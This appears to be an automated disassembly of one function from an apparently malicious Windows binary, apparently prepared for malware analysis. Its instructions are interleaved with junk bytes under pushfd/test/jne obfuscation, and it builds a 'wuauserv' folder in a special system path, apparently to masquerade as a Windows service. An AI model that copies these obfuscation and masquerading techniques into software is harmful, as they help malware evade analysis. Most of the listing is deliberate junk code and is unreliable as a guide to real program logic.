Function at 0x10047650
Capabilities:
Create directory
Encode data using xor
Get common file path

Disassembly:
out dx, eax
mov ecx, 0x6679e1e0
add ebp, ebp
xor ebp, dword [edi - 0x34ebbe83]
sub byte [ebx + 0x2d], 0xba
push 0x6e2c8bb3
mov eax, 0x7bb2fdb
or dword [ecx + ebx*4 - 0x77], 0x37
fld xword [edi]
das
mov ebx, 0x994c8307
mov dword [edi], esi
imul ebx, dword [ebp + ebp*8 + 0x429a472d], 0xaff30ccc
shl byte [ebx + 0x59], 1
pop ds
and ebx, edi
loopne 0x1004748c
jl 0x100474a4
mov cl, 0xa0
shr dword [ebx + 0x2f597028], 0x7e
stc
cmc
sbb dword [ecx + 0x13ba6e68], 0xffffffd3
push esp
pushal
jnp 0x1004750d
xor eax, 0xb642f62d
lodsd eax, dword [esi]
sub eax, 0xadb642f6
repne insb byte es:[edi], dx
adc dword [eax + 0x34], ecx
or bl, al
sub al, 0xef
cmc
popfd
push dword [ebp + 0xc]
pushfd
test byte [0x1004752c], 0x5a
jne 0x1004752d
mov fs, edx
xchg ebx, eax
je 0x100474e6
subps xmm5, xmm0
cmpsb byte [esi], byte es:[edi]
xchg ebp, eax
pop eax
test al, 0x26
pop esi
je 0x1004751e
jecxz 0x100474a5
mov ch, 0xca
or edi, dword [ebx - 0x75]
inc eax
dec edi
movsb byte es:[edi], byte [esi]
inc ebp
clc
push 0x54dd359c
cmpsb byte [esi], byte es:[edi]
test al, 7
push eax
push cs
push 0x3aa5d1b8
xchg esi, eax
and al, 0xa3
shl dword [ebp - 0x5cdb69c6], 1
out dx, al
fcomp dword [esi]
jbe 0x1004753e
cld
stosb byte es:[edi], al
add byte [eax], ch
popfd
push dword [ebp + 8]
call dword [sym.imp.RPCRT4.dll_UuidFromStringA]
pushfd
test byte [0x100475ec], 0xa6
cmpsb byte [esi], byte es:[edi]
jne 0x100475ed
lea edx, [edi + 0x6bf3e217]
mov dh, 0xe8
inc ebp
clc
stc
jle 0x100474d7
in eax, 0xce
imul edx, dword [esi + ecx*8 - 0x172b59d2], 0x1d
xor edi, ecx
or eax, 0xcafb24af
mov ebp, 0x75c27072
aam 0xfd
in al, dx
add dword [esi - 0x2d], 0xfac793d0
test ebx, 0xd28a37f1
jns 0x10047561
sti
retf 0xbd67
int3
dec ebp
and eax, 0x67ae0662
pop edi
xchg ebp, eax
salc
fldcw word [ecx]
fild qword [edi + 0x5e39cdfc]
scasb al, byte es:[edi]
and byte [edx - 0x712b9c64], dh
pop edi
cwde
popal
nop
cmp dword [edi + 0x38], edi
push esi
stc
outsb dx, byte [esi]
adc dword [ebx - 0x19], edx
cmpsd dword [esi], dword es:[edi]
sbb dword [ebx + edi*8 - 0x446a81ac], edx
dec edx
cdq
jno 0x100475b6
into
xchg ebp, eax
clc
jb 0x10047550
mov dword [edi - 3], edi
jg 0x100475c6
add al, 0x3c
mov edi, 0xf9edc771
pop ds
loop 0x100475bf
push esi
pop ss
dec edx
js 0x100475d9
add ecx, ebx
cmpsb byte [esi], byte es:[edi]
sti
xor byte [ebx + edx*2 + 0x24], ah
test al, 0x6b
and dword [ecx - 0x53], edx
std
sbb eax, 0x27066c20
push es
retf
popfd
neg eax
sbb eax, eax
inc eax
pop ebp
ret
pushfd
test byte [0x1004764f], 0xce
jne 0x10047650
pushal
daa
int 0x5d
mov al, 0xc6
insd dword es:[edi], dx
sub dl, 0x6f
js 0x10047591
popal
mov ah, 0x15
xchg esi, eax
push ebp
pop ds
fldenv [ecx + 8]
das
inc esi
sub al, byte [edi - 0x1c]
insd dword es:[edi], dx
loop 0x10047685
mov eax, dword [esi + 0x63f20294]
and byte [edx + ebp*2 + 0x54], dh
scasd eax, dword es:[edi]
cmc
sbb eax, 0x8bbc762a
or ah, byte [esp + edi*4 + 0x278e6291]
dec ebx
inc esp
stc
dec edi
pop esi
scasb al, byte es:[edi]
xor dh, dl
cvtps2pi mm5, xmm7
insd dword es:[edi], dx
mov ebx, 0x3aae717a
into
push ds
cmc
sbb al, 0x72
add dword gs:[ebp - 0x5d], eax
popfd
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x10170c30]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [ebp + 8]
push 1
push 0x2e
push edi
xor ebx, ebx
pushfd
test byte [0x100476b5], 0x6c
jne 0x100477b6
and al, byte [ecx - 0x22f1e991]
sbb cl, byte [ebx]
dec eax
fild word [ebx - 9]
test byte [eax + ecx*8 - 0x28], ah
mov esi, 0xe9518b4e
insb byte es:[edi], dx
or ecx, dword [eax - 0x21]
inc ebx
test dword [esp + 0x4ebed8c8], 0x6ce9518b
mov dh, 0xcf
popal
pop esp
pop ds
xchg dword [esi], esi
salc
bound edx, qword [edx]
lds edx, [ecx - 0x10ca331c]
or eax, dword [ebx + 0x492d7d1a]
test dword [esi + 0x78], eax
cld
in al, dx
pop ecx
inc ebx
dec edx
pushal
mov ebp, 0x67770bff
xchg ebp, eax
popal
dec ebx
imul edx, dword [ecx - 0x32], 0x43
adc dword [ebx - 0x58524ad0], 0x3d
pop esp
or eax, dword [esi]
les ecx, [edi]
pop edx
leave
arpl word [esi - 0x48], bx
lds edx, [eax + 0x7fd588b3]
adc bl, byte [ecx]
push ebx
fcomi st(7)
insb byte es:[edi], dx
sbb byte [edi], dl
fiadd word [edx]
pop ebx
mov ch, 0x68
mov cl, 0x72
xor eax, 0x71e35943
or esp, dword [ebx - 0x11191f3c]
movsb byte es:[edi], byte [esi]
mov dh, 0x66
mov ah, 0xe4
and al, 0x78
shr dword [eax - 0x2a58db62], 0xdf
movsb byte es:[edi], byte [esi]
xchg esp, eax
cld
mov dh, 0xb5
cmp byte [eax + 0x76], ch
into
jbe 0x1004776e
into
push ecx
xchg edx, eax
xchg ecx, eax
outsb dx, byte [esi]
cmpsd dword [esi], dword es:[edi]
and bh, byte [ecx - 0x54f03f93]
dec esp
in al, 0x66
mov al, 0x6d
cwde
xchg ebx, eax
in al, dx
cmp byte [eax + 0x50aa10d], ch
mov edi, 0x8413f249
sub eax, 0x3b20aa57
jno 0x10047706
aaa
mov ds, word [ecx]
fsub qword [eax]
scasb al, byte es:[edi]
mov gs, edx
jl 0x100476cc
lodsd eax, dword [esi]
sbb esi, esp
movsb byte es:[edi], byte [esi]
cmp ah, al
inc ecx
jg 0x1004770c
sub al, 0x74
outsb dx, byte [esi]
cmp eax, 0xa380b9bd
salc
sub dword [ecx], 0xfc22d8ef
sti
or esi, dword [0x479f89dc]
dec ebx
jne 0x1004775c
inc esp
sub eax, 0xc47c90eb
bnd jno 0x1004771b
sbb byte [edx - 0x52], 0xa6
or al, 0x55
sbb byte [0x2baa112c], dl
scasb al, byte es:[edi]
add dword [ebp + 0x4607a400], 0xcb24d62f
adc dword [edx - 0x7a7e51d5], ebp
add byte [edi + eax + 0x24d62f46], ah
retf
pop es
inc esi
das
salc
and al, 0xcb
dec edi
push cs
sahf
xor dword [ebp - 0x6790aab5], ebx
fdivr qword [edx + 0x7da4527d]
adc dword [edx], esi
sar dword [ebx - 0xa9d83d3], 0x2c
xchg esi, eax
out dx, al
rol byte [edi + ecx*8 - 0x521c7fe6], cl
fbld tbyte [edx + 0x200f283]
insb byte es:[edi], dx
cmp edi, dword [edi]
mov ecx, dword [edi]
pop ecx
inc ebp
mov cl, 0xbf
pop ebx
outsb dx, byte [esi]
push ds
int1
mov al, 0x8a
jecxz 0x100477f5
popfd
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
cmp eax, 1
jne 0x10047db4
push esi
push 0x103
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call fcn.1011df60
pushfd
test byte [0x100478e9], 0x69
jne 0x100478ea
popfd
clc
invalid
xlatb
mov eax, 0x43d84eb
cmpsb byte [esi], byte es:[edi]
jmp 0x10047776
mov al, 0x9d
fnstcw word [edx - 0x2a26e541]
jnp 0x10047822
add dword fs:[esi + ecx*8], ebp
add dword [esi + ecx*8], ebp
and eax, esi
push ebx
inc edx
cdq
adc byte [eax], ah
out dx, al
dec eax
sub eax, 0x46a95ff
je 0x100477f0
dec ebp
imul ebx, dword [esi + 0x30bb0cf], 0x1c
add bl, dl
xor dl, byte [ebp - 0x7f4e89be]
sahf
pop es
fdiv st(2)
dec edi
inc edx
jbe 0x100477d6
sbb byte [esi - 0xd270df9], 0x4f
not dword [edi]
inc edi
add ebp, dword [edx + 0x70]
jle 0x10047846
jnp 0x10047800
stc
mov dl, 0xc7
out 0x5d, eax
out dx, al
jl 0x1004785b
invalid
xchg edx, eax
insb byte es:[edi], dx
xchg ebx, eax
test al, 0x44
test al, 0x6e
outsb dx, byte [esi]
pop eax
mov ah, 0xd2
and ebx, edx
int1
push ss
sub bh, ch
sahf
insd dword es:[edi], dx
int 0x6f
mov al, 0x2d
push edi
int1
ja 0x1004784d
and al, 0x3d
fmul dword [eax + ebx*2 + 0x19]
cmp eax, 0x19584cd8
push ecx
inc edi
out dx, al
cmp eax, 0xb00544d8
outsb dx, byte [esi]
jno 0x1004786c
mov bl, 0x43
inc ebx
cmc
arpl dx, sp
sbb edi, esp
cmp byte [eax], dl
xchg edi, eax
cmp al, 0x9f
push esp
jns 0x10047857
push esi
fstp qword [edi]
inc esp
stosd dword es:[edi], eax
push edi
int 0xfa
cdq
xlatb
loop 0x1004784c
xchg edi, eax
xor byte [edi], dh
pop ds
sub dh, byte [eax - 0x1739c9d6]
jg 0x10047838
xor cl, byte [ecx - 0x7a4e1151]
test eax, 0x889507a9
movsd dword es:[edi], dword [esi]
aad 0xa2
fimul dword [edx]
push ds
je 0x10047834
xchg esi, eax
jb 0x10047840
dec edx
imul ebp, dword [ebp + eax*2 + 0x1a282e93]
pushfd
pop esp
push es
fdivr qword [ecx]
pop ebp
cmp eax, 0x8f9ee361
inc ebp
jb 0x100478e9
cmpsb byte [esi], byte es:[edi]
dec edx
loop 0x10047924
sub al, byte [ebp - 0x5158c592]
enter 0x6d58, 0x66
aas
not dword [ecx + 0x9e3bbe0]
cmc
and ah, dl
cmc
adc eax, 0x2c3e7490
rol dword [ebx - 5], cl
shl byte [ebx], 0x89
in eax, 0x68
push 0x30358b9d
arpl word [eax + edx], dx
popfd
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
add esp, 0xc
push edi
call esi
pushfd
test byte [0x100479db], 0xd2
jne 0x100479dc
std
sub ebx, eax
xor edi, ecx
fsub st(4), st(0)
dec esp
cmpsb byte [esi], byte es:[edi]
pop esp
stc
xchg ebx, eax
mov ss, eax
mov eax, 0x26c0e568
sar byte [eax + 0x26c0e568], 1
loopne 0x1004794c
arpl word [eax + 0x37], sp
shl byte [edi + edx*2], cl
test byte [edi], dl
mov cl, 0xb0
shr dword [edx + ecx*8], cl
mov al, 0xd3
sub al, 0xca
dec edi
aam 0xf1
int1
imul ecx, dword [eax - 0x73], 0xffffff90
lodsd eax, dword [esi]
push esi
pushfd
xor bl, dh
push ds
add byte [ecx - 0x75], 0x2a
mov eax, 0x528f86ff
js 0x100479a5
dec ebp
fist dword [ebx]
cmp al, 0x16
adc dl, byte [0x7cd848b4]
test eax, 0x3cc4ff01
aas
add edi, edi
les edi, [edi + edi]
out dx, al
pop ebp
jo 0x1004790e
inc ebp
push esi
and cl, cl
cdq
xchg ebp, eax
popal
test byte [esi], al
stosb byte es:[edi], al
scasb al, byte es:[edi]
jg 0x10047929
add al, 0xcc
sbb eax, 0xb9b47db
xchg ebx, eax
cwde
jbe 0x10047996
cld
sbb dword [ebp - 0x5f], ebx
push es
sub byte [edx], 0xb8
js 0x1004792a
cmp ebp, 0xffffffa1
or bh, byte [ebp - 0x52429f78]
adc al, 0x88
inc eax
js 0x1004796b
and bl, bl
sbb eax, 0xfaf919bf
jne 0x10047912
int1
int1
nop
pop ds
arpl word [edi + 0x45], ax
inc edi
inc ebp
or eax, 0x5d980395
sbb dl, byte [ebx]
xchg edx, eax
mov ecx, 0x2257795
mov al, byte [0x8cb05932]
dec ebx
mov ebx, 0x204412f2
dec ecx
fistp word [esi]
into
stosb byte es:[edi], al
pop ds
jne 0x100479f4
sbb bl, byte [edi]
enter 0x5f3e, 0x57
fild dword [ebp - 0x34]
mov dword [0x2581cff2], eax
xor al, 0x8d
or ch, al
mov bl, 0xcb
adc cl, byte [ecx - 0x65]
push esp
xchg byte [edx - 0x3fc9689a], bl
mov al, 0xd8
xchg dword [ebp - 0x69], edx
popfd
push str.wuauserv
push edi
call fcn.1011f130
pop ecx
pop ecx
push edi
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pushfd
test byte [0x10047a5f], 0xa4
jne 0x10047a60
inc edi
out dx, al
xchg edi, eax
cmp bl, byte [esi]
nop
out 0x81, eax
xchg ecx, eax
xchg dword [ebp - 0x1e0bc225], esi
push 0xffffffffffffffd8
movsb byte es:[edi], byte [esi]
inc edi
xchg edi, eax
ror byte [ebx - 0x27b2f8ac], cl
push ebp
inc edx
mov dh, 0x91
rcl dword [ebx - 0x7bec785a]
pop ds
or dword [ebx - 0xc], esp
les esp, [ebx]
or byte [ecx - 0x346344cd], bl
outsb dx, byte [esi]
retf
dec eax
lodsd eax, dword [esi]
insd dword es:[edi], dx
adc ah, cl
ja 0x10047a30
loope 0x10047aaf
test dword [eax], 0x78905d08
mul dword [ecx - 0x41]
and eax, 0x5fcbed3e
or byte [eax], cl
pop ebp
nop
js 0x10047a36
popal
mov edi, 0xcbed3e25
pop edi
outsd dx, dword [esi]
mov bh, 0x26
into
jno 0x100479e2
sti
inc eax
push edx
sub dword [eax], ecx
adc bh, dh
inc eax
loopne 0x10047a61
cmpsb byte [esi], byte es:[edi]
cld
stosd dword es:[edi], eax
in al, 0xee
jecxz 0x10047a32
adc al, 0xff
popfd
push edi
call ebx
mov eax, dword [0x10172220]
test eax, eax
pushfd
test byte [0x10047a9e], 0xf3
adc byte [ebp + 0x5f69cc0], al
sahf
jp 0x10047a75
adc bl, dh
jne 0x10047b9f
add dword es:[eax], eax
add ch, bl
dec esp
enter 0x5c60, 0xffffffffffffffef
fisttp qword [eax + ecx*8 + 0x60]
pop esp
out dx, eax
cmc
out dx, al
popal
mov esp, 0x28505e98
inc ecx
int 0x11
inc edi
mov dword [0xcc13357b], eax
salc
push esi
cmpsb byte [esi], byte es:[edi]
inc eax
pop ebp
xchg ebx, eax
cdq
dec edi
fninit
adc edi, dword [edi + 0x49]
daa
fisubr word [eax + edi*2 + 7]
mov ch, 0x7e
arpl word [edx - 0x346454de], sp
aam 0xf7
daa
and eax, 0xad866d18
inc dword [ebx]
sal ch, 1
insd dword es:[edi], dx
xchg byte [ebp - 0xa2ffc01], ch
mov dl, 0xb1
add byte [edi - 0x7e3ba1d6], 0x17
aas
sbb bl, cl
inc ecx
dec eax
adc esi, dword [edx + 0x69de9fbd]
stosd dword es:[edi], eax
sub dword [ebp + esi*8 - 0x68], ebx
insb byte es:[edi], dx
cmpsb byte [esi], byte es:[edi]
sbb al, 0xaa
dec esp
mov eax, dword [0x349e4ca1]
cli
mov edx, 0x30f2841c
cld
dec esi
cmpsd dword [esi], dword es:[edi]
jl 0x10047a68
push edi
inc ebx
movsd dword es:[edi], dword [esi]
div dword [eax]
pop ds
popfd
cdq
mov ecx, 0xa8017d7b
sub ch, 0xdb
leave
xor al, 0xf4
mov esp, 0xed28bf7
add eax, 0x2e992ad4
mul byte [edi + 0x2c190153]
shl edx, 1
adc byte [edi - 0x7faf3064], 0xa1
add byte [edi - 0x49], cl
xlatb
push edi
shl edx, 0x7e
test byte [ecx - 0x2d], dl
mov ebx, 0x971cba0e
push es
and dword [0x3571516b], ebp
je 0x10047b50
and al, 0x51
xchg esi, eax
xor byte [eax - 0x7e7529b3], ah
push 0x954d439
ja 0x10047b1c
and eax, 0x5ef998c5
pcmpeqw mm4, mm7
cmp byte [ecx + 2], dl
shr dword [ecx - 0x2d], cl
sbb edi, dword [ecx]
cmc
mov ax, 0xa1cb
push eax
xchg ecx, esp
or edx, esi
push ss
in eax, 0xf6
loopne 0x10047bd6
push ebx
mov al, 0xb1
mov esi, 0x7689f27c
add byte [ebx], ch
outsd dx, dword es:[esi]
or edi, edi
inc esi
jno 0x10047bb5
popal
cmc
scasd eax, dword es:[edi]
sub al, dh
mov ebp, eax
mov ch, 0x9a
sbb cl, byte [esi]
mov dword [eax - 0xc184161], eax
rcr dword [ebx], 1
jb 0x10047be7
mov al, byte [0xa0fe1aa0]
xor al, 0x76
scasb al, byte es:[edi]
shr dword [edx + edi*4 + 0x68], cl
add ch, al
and al, 0x99
mov bx, 0x7b5f
sbb esp, dword [ebp - 0x6c4a9f23]
push ds
push edi
adc al, 0x88
lahf
popfd
jle 0x10047d66
push 0xa
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.101207a0
lea eax, [ebp - 0x108]
push eax
push edi
pushfd
test byte [0x10047c7a], 0xd3
jne 0x10047c7b
fldenv [eax - 0x2d]
mov ah, 0x33
enter 0x5c73, 0x7b
jmp [eax]
loopne 0x10047c24
mov esp, 0x4543c97f
xlatb
xchg byte [ebx + edx*4], cl
or byte [ebx + eax], ah
or edx, dword [edi]
or ecx, dword [ebx - 0x45d74cee]
jnp 0x10047c2c
mov edx, dword [edx]
mov bl, 0x28
mov edx, 0x141d3e7b
ret 0x2d1
sbb eax, 0x2d1c214
xor byte [0x21cb629], cl
sbb al, 2
push 0x734f712a
in al, 0x3d
mov edi, 0xd7fe4a75
out dx, eax
mov eax, 0xb08a947c
sub al, byte [esi + 0x20]
sub cl, 0xbe
xchg edx, eax
or dword [ebp - 0x56a915bf], 0x98012098
sbb eax, dword [ebp + eax*8 - 0x10]
cdq
add eax, 0x59b0d0f3
mov al, 0x59
mov ebx, esp
xchg ecx, eax
mov dl, 0xa5
cmp ah, bh
stc
out 0xf9, eax
mov eax, dword [ebp + 0x35ca9d47]
xlatb
test ch, bh
stc
or byte [ebx + 0x5d8b53fe], 0xfe
xchg dword [edx - 0x2c178dcd], edi
xor dword [edx + ebx*4 - 0xb14cdac], ebp
xor dword [edx + ebx*4 - 0xb14cdac], ebp
lcall 0xf6d3, 0xf4eb3254
sal esi, cl
jbe 0x10047bf7
push ebp
salc
mov esp, 0x5759adbc
inc edi
add dword [ecx + 0x17], ecx
push ss
xchg edi, eax
jno 0x10047c47
aaa
in al, 0xb2
jge 0x10047c68
push eax
dec edx
lodsb al, byte [esi]
out 0x46, al
int1
imul byte [edi - 0x38]
aaa
cld
pop esi
cmpsd dword [esi], dword es:[edi]
test eax, 0x7a9546ac
lodsd eax, dword [esi]
cdq
push ecx
popfd
call fcn.1011f130
pushfd
test byte [0x10047c9b], 0x6b
jne 0x10047c9c
dec ecx
jnp 0x10047c96
pop es
sub dword [eax + edi*8 - 0x7f], ebx
cdq
xor edi, esp
jno 0x10047c49
or byte [ebx], bh
inc edi
cmc
popfd
add esp, 0x14
push edi
call esi
pushfd
test byte [0x10047d5f], 0xe6
jne 0x10047d60
or ah, byte [ebx + 0x18]
leave
xlatb
pushal
mul byte [edx + 0x14]
cli
into
std
int3
xor ebx, dword [esi]
cmp dword ss:[ebx - 0x4b], ebp
in al, 0xf2
and dword [ebx - 0xe], 0x48
add byte [esi + edi], al
xchg ebx, eax
sbb bl, bh
clc
sti
sub byte [esi + 0x7825a3f0], dl
in eax, dx
popfd
push 0
push edi
call ebx
xor eax, eax
inc eax
pop esi
pushfd
test byte [0x10047db0], 0xab
jne 0x10047db1
rcr dword [eax + 0x16], 0xd6
out 0x9a, al
inc esi
imul edx, dword [ecx], 0x17
and eax, 0xec1e3367
add cl, byte [0x9c335c7f]
or al, 0x3d
xchg esi, eax
push ebp
stc
mov esi, 0x7d1ac53b
cmp bh, byte [esi + ebx + 0x360e9fd]
pop eax
ja 0x10047dad
sbb byte [ebx + ebp*4], bh
xchg esp, eax
pop ecx
in eax, dx
out 0xa, al
mov esi, 0x9d53c0fd
fild dword [esi]
jo 0x10047d45
in al, 0x42
popfd
jmp 0x10047db6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pushfd
test byte [0x10047dc5], 0x1a
jne 0x10047dc6
push ebx
clc
popfd
xor ecx, ebp
pop ebx
call fcn.1011e48a
leave
ret